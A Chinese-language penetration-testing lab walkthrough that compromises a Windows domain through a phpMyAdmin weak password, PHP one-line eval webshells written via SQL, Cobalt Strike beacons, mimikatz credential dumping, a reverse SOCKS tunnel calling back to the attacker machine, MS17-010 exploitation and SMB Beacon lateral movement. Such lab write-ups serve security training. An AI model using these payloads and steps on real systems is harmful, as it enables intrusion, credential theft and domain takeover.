前言
環境搭建:
設置Win2K3 僅主機模式,ip:192.168.52.141
winserver08 僅主機模式,ip:192.168.52.138 (域控)
win7添加一個網卡,ip:192.168.23.141;192.168.52.143(雙網卡,作為跳板機),一個設為僅主機模式,另一個設為NAT模式;
kali攻擊機設為NAT模式,ip:192.168.23.131
拓撲圖:
信息收集
1.使用nmap對win7進行端口嗅探,發現win7開放了80和3306端口
2.訪問http://192.168.23.141,為一個php的探針,能看到絕對路徑
3.對http://192.168.23.141進行目錄掃描,發現存在phpadmin的登錄界面
4.使用root/root弱口令成功進入后台
PhpMyAdmin get shell
1.利用select into outfile 寫入shell
先查看能否自定義導出文件目錄的權限,結果為NULL意味着不允許導入導出數據到目錄。且只能在my.ini進行配置。
命令:SHOW VARIABLES LIKE "secure_file_priv";
如果能將my.inisecure_file_prive並將其值設置為""或"/",並重啟MySQL服務
命令:select '<?php @eval($_POST[pass]);?>' into outfile 'c:/phpstudy/www/shell.php';
進行一句話寫shell
2.利用日志寫shell
查看全局變量 general_log、general_log_file
命令:SHOW VARIABLES LIKE "general_log%";
general_log 默認關閉,,general_log_file為日志儲存路徑。
寫shell的思路:更改general_log的值,將日志儲存在能訪問的路徑下,且后綴名為php。然后通過log日志進行寫入一句話木馬,然后再進一步利用。
命令:
set global general_log = "ON";
set global general_log_file = "C:/phpStudy/WWW/shell.php";
然后在日志中插入一句話:
SELECT '<?php eval($_POST["pass"]);?>'
使用蟻劍連接:http://192.168.23.141/shell.php,成功連接
內網信息收集
1.使用蟻劍進行信息收集時,許多命令無回顯,嘗試上傳cs馬,回連beacon。
2.上線cs馬,進行信息收集
3.信息收集 net view /domain,目標機存在一個GOD的域,域控ip為192.168.52.138
信息收集中,需要用到的命令 (cs中執行命令,需要帶上“shell”)
ipconfig /all
net view
net view /domain
net time /domain
能夠執行,說明此台機器在域中 (若是此命令在顯示域處顯示 WORKGROUP,則不存在域,若是報錯:發生系統錯誤 5,則存在域,但該用戶不是域用戶)
net config workstation 查詢當前的登錄域與用戶信息
net lookup “域名” nslookup 命令直接解析域名服務器
net user /domain 查看當前域的所有用戶
wmic useraccount get /all 獲取域內用戶的詳細信息
net group "domain computers" /domain 查看所有域成員計算機列表
net group "domain admins" /domain 查看所有域控管理人員
net group "domain controllers" /domain 查看與控制管理器
net group "enterprise admins" /domain 查看企業管理組
net localgroup administrators /domain 查看域控,升級為域控時,本地賬戶也成為域管
net accounts /domain 獲取域密碼信息
nltest /domain_trusts 獲取域信任列表
4.使用mimikatz模塊進行密碼導出
橫向移動
此時,我們已知道域控的ip為192.168.52.138(通過dns中的ip地址,或者通過ping域服務器可得到域控ip地址),那么以win7為跳板機,進行橫向攻擊。
反彈socks5服務器
1.在kali上運行:
./ew_linux_x64 -s rcsocks -l 1080 -e 1234
該命令的意思是在kali上添加一個轉接隧道,把本地1080端口收到的代理請求轉交給1234端口。
2.在win7 (web服務器中)運行
execute ew_for_win64 -s rssocks -d 192.168.23.131 -e 1234
該命令的意思是在web服務器上啟動SOCKS5服務,並反彈到IP地址為192.168.23.131(kali)的1234端口上。
(1)先將ew文件上傳到目標機win7中,然后執行命令
(2)執行execute ew_for_Win.exe -s rssocks -d 192.168.23.131 -e 1234
(3)配置proxychains.conf(kali上需要安裝 sudo apt-get install proxychains)
現在就可以通過訪問127.0.0.1:1080端口使用在右側web服務器上架設的SOCKS5代理服務了
/etc/proxychains.conf修改內容如下,去掉dynamic_chain和dns(實驗中,有時proxychains啟動nmap會報錯)的注釋,並且在最后的位置添加代理。
(4)測試代理是否正常
發現正常
滲透內網主機
proxychains啟動nmap
用proxychains可以啟動任何程序,proxychains配合nmap和msf是內網滲透的大殺器,需要注意的是proxychains不支持udp和icmp協議。現在啟動nmap,使用TCP掃描,不使用ping掃描,掃描整個內網:
發現僅存活192.168.52.138和192.168.52.141兩台內網主機,從前面的域信息收集可知138主機為域控主機
proxychains啟動nmap
嘗試對其進行端口掃描,發現其開放了3389和445端口,嘗試對其進行永恆之藍攻擊
proxychains啟動msf
1)啟動msfconsole
隨后正常使用ms17_010等利用方式進行利用
設置正向監聽和rhost(大概率會打重啟,本人中途打重啟多次,可嘗試使用exploit/windows/smb/ms17_010_psexec模塊)
注:該模塊要求目標機器開啟命名管道,可使用auxiliary/admin/smb/ms17_010_command模塊探測一下是否可以使用命名管道。)
成功打入ms17_010
接下來,load mimikatz模塊,即可進行域賬號的橫向;或者上線到cs(傳shell)
======================================================================================================================================================================
補充:如果永恆之藍等exp利用方式無法進行,可以使用獲取到win7明文賬號進行橫向ipc上線
SMB Beacon的使用場景:
- 我們知道了目標機器的管理員賬號的明文密碼或密碼哈希。但是目標主機不出網,所以我們想利用SMB Beacon正向連接讓其上線。
- 還有一種使用場景是,在域環境中,我們已經得到一個域用戶的賬號密碼(此環境中,我們獲得win7權限為域管理員權限,可橫向ipc到域控服務器)。由於在域中,默認域用戶可以登錄除域控外的所有主機。所以我們可以利用該域用戶與其他主機建立IPC連接,然后讓其他主機進行SMB Beacon上線。
(1)首先創立一個Beacon_SMB監聽器
(2)利用其明文密碼使其上線Beacon_SMB
先建立一個ipc連接
然后使用jump進行上線Beacon_SMB
此時查看連接的會話,發現成功獲取了域控(192.168.52.138)的shell
到這就結束分享。
接下來就是使用ipc繼續上線Beacon_SMB,依次提權等。。。。。